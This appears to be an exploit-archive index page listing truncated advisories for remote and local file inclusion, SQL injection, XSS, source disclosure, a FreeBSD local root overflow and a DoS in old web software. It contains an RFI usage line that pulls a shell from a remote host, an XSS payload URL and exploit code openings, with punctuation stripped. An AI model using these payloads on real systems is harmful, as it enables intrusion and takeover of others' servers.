QuickTalk forum 1.3 - 'lang' Local File Inclusion

QuickTalk forum v1.3 Local File Inclusion download: http://www.qt-cute.org/download/qtf13.zip found by: katatafish [email protected] vulncode: $strLang = $GET"lang"; include"language/$strLang/qtflangreg.inc"; exploits:...

Pagetool 1.07 (news_id) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ========================================================== Pagetool 1.07 newsid Remote SQL Injection Vulnerability ========================================================== pagetool-1.07 Remote SQL Injection...

dagger Web engine 23jan2007 - Remote File Inclusion

dagger Web engine 23jan2007 - Remote File Inclusion Dagger-web enginecal.func.phpRemote File Inclusion download: http://kent.dl.sourceforge.net/sourceforge/dagger/daggerr23jan2007. zip found by: katatafish [email protected] code: cal.func.php include$diredgelang.'callang.inc.php'; exploit:...

HTTP SERVER (httpsv1.6.2) source code disclosure

HTTP SERVER httpsv1.6.2 source code disclosure http://httpsv.sourceforge.net/ The vulnerability is caused due to a parser error of the filename extension supplied by the user in the URL. This can be exploited to retrieve the source code of script files. POC: http://127.0.0.1/test.htm20 Bug Found...

Zindizayn Okul Web Sistemi v1.0 Sql VulnZ.

Script's Name : Zindizayn Okul Web Sistemi v1.0 tr Script's MainPage : http://www.okulwebsistemi.com Risk : Medium Found By : ShaFuck31 Thanks : | The RйD | DesquneR | SaboTaqe | ST@ReXT | BLaSTER | Vulnerable file : mezungiris.asp & ogretmenkontrol.asp Vuln :...

Achievo 1.1.0 (atk.inc config_atkroot) Remote File Inclusion Vulnerability

No description provided by source. Achievo 1.1.0index.php Remote File Include Vulnerability Found by : Katatafish [email protected] Download http://www.achievo.org/files/achievo-stable-1.1.0.tar.gz File: ./atk.inc includeonce$configatkroot."atk/modules/class.atkmodule.inc"; Exploit...

Feindt Computerservice News 2.0 - 'newsadmin.php?action' Remote File Inclusion

S==A==U==D==I News 2.0 newsadmin.php Remote File Include Vulnerabilities Found By : Mogatil , [email protected] Script Site : http://www.tools4web.de/zaehler.php?i=5 File : /newsadmin.php include$action.".inc.php"; Thanx: cold zero gawey crazy man scorbion22 themuslimsniper Exploit...

mxBB Module FAQ & RULES 2.0.0 - Remote File Inclusion

!/usr/bin/php -q -d shortopentag=on cmd: a shell command ls -la Options: -pport: specify a port other than 80 -Pip:port: specify a proxy Example: php '.$argv0.' localhost http://www.shellsite.com/shell.txt ls -la -P1.1.1.1:80 shell.txt:...

mxBB Module FAQ RULES 2.0.0 - Remote File Inclusion

mxBB Module FAQ RULES 2.0.0 - Remote File Inclusion !/usr/bin/php -q -d shortopentag=on cmd: a shell command ls -la Options: -pport: specify a port other than 80 -Pip:port: specify a proxy Example: php '.$argv0.' localhost http://www.shellsite.com/shell.txt ls -la -P1.1.1.1:80 shell.txt:...

Allfaclassfieds (level2.php dir) remote file inclusion

Allfaclassfieds level2.php dir remote file inclusion -- Bug Found By Dr.RoVeR --Arab48 Hacker Contact: [email protected] --- Script: allfaclassfieds Download: http://scriptat.com/download.php?sid=718 -- Bug File: level2.php Bug code in line 4: require"$dir/admin/dp.php"; -- Exploit:...

allfa-rfi.txt

Allfaclassfieds level2.php dir remote file inclusion -- Bug Found By Dr.RoVeR --Arab48 Hacker Contact: [email protected] --- Script: allfaclassfieds Download: http://scriptat.com/download.php?sid=718 -- Bug File: level2.php Bug code in line 4: require"$dir/admin/dp.php"; -- Exploit:...

Post Revolution <= 0.7.0 RC 2 (dir) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ======================================================================= Post Revolution = 0.7.0 RC 2 dir Remote File Inclusion Vulnerability ======================================================================= Post Revolution Remote Fil...

CNStats 2.9 (who_r.php bj) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ============================================================== CNStats 2.9 whor.php bj Remote File Inclusion Vulnerability ============================================================== CNStats 2.9 whor.php Remote File Include Vulnerabilit...

PHP-Fusion 6.1.5 Mod Calendar_Panel - Show_Event.php SQL Injection

PHP-Fusion 6.1.5 Mod CalendarPanel - ShowEvent.php SQL Injection source: https://www.securityfocus.com/bid/23225/info PHP-Fusion is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could all...

FreeBSD mcweject 0.9 Eject - Local Buffer Overflow Local Privilege Escalation

FreeBSD mcweject 0.9 Eject - Local Buffer Overflow Local Privilege Escalation // ejecsploit.c - local root exploit for bsd's eject.c // harry // vuln found by kokanin you 31337!!! ; // thanks to sacrine and all the other netric guys!!! you rule : include include include include define LEN 1264...

joomlamambo-rfi.txt

MAMBO Modules SWmenu 4.0 ImageManager.php Remote File Include Vulnerabilities script : http://mamboxchange.com/frs/download.php/8109/comswmenufree4.0.zip file : /ImageManager/Classes/ImageManager.php Dork : index.php?option=comswmenupro Found by & Contact : Cold z3ro , [email protected] ,...

Oracle Portal PORTAL.wwv_main.render_warning_screen XSS

Hi All, During pentest i have noticed XSS bug in PORTAL.wwvmain.renderwarningscreen application of oracle portal. http://somesite/pls/portal/PORTAL.wwvmain.renderwarningscreen?poldurl=' scriptalert'inT'/script&pnewurl='scriptalert'ellect'/script Greets, d3nx...

PostNuke Module phgstats 0.5 (phgdir) Remote File Include Exploit

Exploit for unknown platform in category web applications ================================================================= PostNuke Module phgstats 0.5 phgdir Remote File Include Exploit ================================================================= PostNuke Module phgstats 0.5 phgdir Remote...

XLAtunes 0.1 - album SQL Injection

XLAtunes 0.1 - album SQL Injection Critical Status:High Found By:Bl0od3r Download:http://www.scriptdungeon.com/script.php?ScriptID=2844 Greetz:all my friends fuckz:Donh4cky0u for steeling hacks of others,for his 100% noobility,for his noobass.DON your an idiot.fucka. - confkey-Password...

Sami HTTP Server 2.0.1 (HTTP 404 - Object not found) DoS Exploit

No description provided by source. !/usr/bin/env python import socket print "-----------------------------------------------------------------------" print "Sami HTTP Server HTTP 404 - Object not found Denial of Service" print "url: http://www.karjasoft.com" print "author: shinnai" print "mail:...